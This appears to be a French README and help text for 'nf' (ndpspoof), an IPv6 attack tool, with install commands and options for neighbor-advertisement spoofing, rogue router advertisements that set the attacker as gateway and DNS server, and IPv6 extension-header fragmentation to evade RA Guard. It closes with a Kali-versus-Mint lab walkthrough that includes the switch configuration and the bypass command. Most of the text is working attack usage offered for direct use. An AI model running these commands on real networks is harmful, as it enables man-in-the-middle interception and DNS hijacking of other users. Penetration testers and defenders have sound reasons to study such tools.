
Effectuer l'usurpation d'identité RA/RDNSS/NA et l'évasion de RA Guard avec des paquets IPv6 arbitraires
Arch Linux/CachyOS/EndeavourOS
yay -S nf
Ou avec paru :
paru -S nf
Autres systèmes
CGO_ENABLED=0 go install -ldflags "-s -w" -trimpath github.com/shadowy-pycoder/ndpspoof/cmd/nf@latest
nf - Outil d'usurpation NDP IPv6 par shadowy-pycoder
GitHub : https://github.com/shadowy-pycoder/ndpspoof
Codeberg : https://codeberg.org/shadowy-pycoder/ndpspoof
Utilisation : nf [-h -v -I -d -nocolor -auto -i INTERFACE -interval DURATION -n NAMESPACE] [-na -f -t ADRESSE ... -g ADRESSE]
[-ra -p PRÉFIXE -mtu INT -rlt DURÉE -rdnss ADRESSE ... -E PAQUET]
OPTIONS :
Général :
-h Affiche ce message d'aide et quitte
-v Affiche la version et les informations de construction
-I Affiche la liste des interfaces réseau et quitte
-d Active la journalisation de débogage
-nocolor Désactive la sortie colorée
-auto Définit automatiquement les paramètres du noyau (Linux/Android) et les paramètres réseau. Lorsque l'usurpation RA est activée et qu'aucun indicateur -rdnss n'est fourni,
l'option RDNSS est incluse dans chaque paquet avec l'adresse IP de l'hôte comme serveur DNS pour les cibles. Le serveur DNS est configuré en utilisant
resolv.conf ou Google DNS comme serveur de noms de secours.
-i Le nom de l'interface réseau. Exemple : eth0 (Par défaut : interface par défaut)
-interval Intervalle entre les paquets envoyés (Par défaut : 5s)
-n Le nom ou le chemin de l'espace de nommage réseau (Linux/Android) (Par défaut : espace de nommage par défaut)
Usurpation NA :
-na Active le mode d'usurpation NA (neighbor advertisement)
-t Cibles pour l'usurpation NA. (Exemple : "fe80::3a1c:7bff:fe22:91a4,fe80::b6d2:4cff:fe9a:5f10")
-f Mode plein duplex (envoie des messages aux cibles et au routeur)
-g Adresse IPv6 de la passerelle personnalisée (Par défaut : passerelle par défaut)
Usurpation RA :
-ra Active l'usurpation RA (router advertisement). Activée lorsqu'aucun mode d'usurpation n'est spécifié
-p Préfixe IPv6 pour l'usurpation RA (Exemple : 2001:db8:7a31:4400::/64). Voir RFC 4862 pour plus d'informations
-mtu Valeur MTU à envoyer dans le paquet RA (Par défaut : valeur de l'interface)
-rlt Durée de vie du routeur. Indique aux cibles combien de temps le routeur doit être utilisé comme passerelle par défaut. Voir RFC 4682 pour plus d'informations
-rdnss Liste séparée par des virgules des serveurs DNS pour le mode RDNSS (Exemple : "2001:4860:4860::8888,2606:4700:4700::1111")
-E Spécifie les en-têtes d'extension IPv6 pour contourner la protection RA Guard. La structure du paquet doit contenir au moins un fragment (F)
qui est utilisé pour séparer les en-têtes par fragment (PFH) et les en-têtes pour la partie fragmentable. Les PFH sont inclus dans chaque fragment,
tous les autres en-têtes deviennent partie de la charge utile fragmentable. Voir RFC 8200 section 4.5 pour en savoir plus sur l'en-tête de fragment.
En-têtes d'extension pris en charge :
H - En-tête d'options saut par saut
D - En-tête d'options de destination
S - En-tête de routage (type 0) (Remarque : voir RFC 5095)
R - En-tête de routage (type 2)
F - En-tête de fragment
L - En-tête de fragment unique
N - Pas d'en-tête suivant
Chaque en-tête peut être spécifié plusieurs fois (par exemple, HHDD) ou vous pouvez ajouter un nombre pour spécifier le compte (par exemple, H16).
Le nombre maximal d'en-têtes consécutifs d'un type est 16 (H16H2F ne fonctionnera pas, mais H16DH2F fonctionnera). Le
nombre minimal d'en-têtes consécutifs est 1 (par exemple, H0 provoquera une erreur).
L'exception à cette règle est l'en-tête D où le nombre signifie la taille de l'en-tête (par exemple, D255 est la taille maximale).
Vous pouvez toujours spécifier plusieurs en-têtes D (par exemple, D255D2D23). Le nombre de pas d'en-tête suivant est ignoré par conception,
mais vous pouvez ajouter plusieurs en-têtes N entre d'autres en-têtes (par exemple, HNDR F DN).
Il n'y a pas de limites quant au nombre d'en-têtes à ajouter à la structure du paquet, mais certaines limites existent :
La longueur maximale de la charge utile pour IPv6 est de 65535 octets
Le décalage maximal de fragment est de 8191 mots d'octets
Le MTU IPv6 minimal est de 1280 octets
Notez que le nombre de fragments que vous spécifiez peut être modifié automatiquement pour satisfaire les limites et l'exigence d'alignement sur 8 octets.
Si vous n'êtes pas sûr du nombre de fragments que vous souhaitez, ne spécifiez simplement aucun nombre.
Exemples :
F2 DSDS (identique à atk6-fake_router26 -E F)
FD154 (identique à atk6-fake_router26 -E D)
HLLLF (identique à atk6-fake_router26 -E H111)
HDR F2 D255 (structure aléatoire)
F (une seule lettre F signifie un paquet RA normal)
Comme vous pouvez le voir, certains exemples mentionnent atk6-fake_router26 qui fait partie de The Hacker Choice's IPv6 Attack Toolkit (thc-ipv6).
Contrairement à thc-ipv6, l'outil ndpspoof (nf) n'offre pas de types d'attaque prédéfinis, mais vous pouvez les construire vous-même.

Sur la machine Kali, exécutez :
nf -d -auto -ra -i eth0 -p 2001:db8:7a31:4400::/64
Sur la machine Mint, exécutez :
ip -6 route
Vous devriez voir l'adresse IP locale du lien de la machine Kali comme passerelle par défaut
Pour tester le contournement de RA Guard, configurez d'abord le commutateur :
configure terminal
nd raguard policy HOST
exit
interface range ethernet 0/0-1
ipv6 nd raguard attach-policy HOST
Exécutez :
nf -d -auto -ra -i eth0 -p 2001:db8:7a31:4400::/64 -E F2DSDS
Voir https://github.com/shadowy-pycoder/go-http-proxy-to-socks